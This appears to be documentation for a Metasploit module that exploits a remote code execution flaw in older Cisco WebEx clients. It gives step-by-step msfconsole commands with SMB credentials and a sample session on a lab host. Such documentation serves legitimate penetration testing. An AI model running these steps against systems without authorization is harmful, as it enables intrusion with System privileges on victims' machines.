Webexec Command

Description

This module exploits a remote code execution vulnerability in Cisco's WebEx client software versions < v33.6.0.655 By supplying valid login credentials to the target machine, a single command can be executed with System privileges.

Vulnerable Application

Cisco WebEx Client v33.3.8.7 and below

Verification Steps

1. Install the application
2. Start msfconsole
3. Do: use auxiliary/admin/smb/webexec_command
4. Do: set RHOSTS <IP>
5. Do: set SMBUser <USERNAME>
6. Do: set SMBPass <PASSWORD>
7. Do: run
8. You should get output that verifies the execution of the command

Options

FORCE_GUI

Uses WMIC to create a GUI

Scenarios

Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86

msf > use auxiliary/admin/smb/webexec_command 
msf auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136
rhosts => 192.168.37.136
msf auxiliary(admin/smb/webexec_command) > set smbuser a_user
smbuser => a_user
msf auxiliary(admin/smb/webexec_command) > set smbpass password
smbpass => password
msf auxiliary(admin/smb/webexec_command) > run

[+] 192.168.37.136:445    - Command completed!
[*] 192.168.37.136:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/smb/webexec_command) >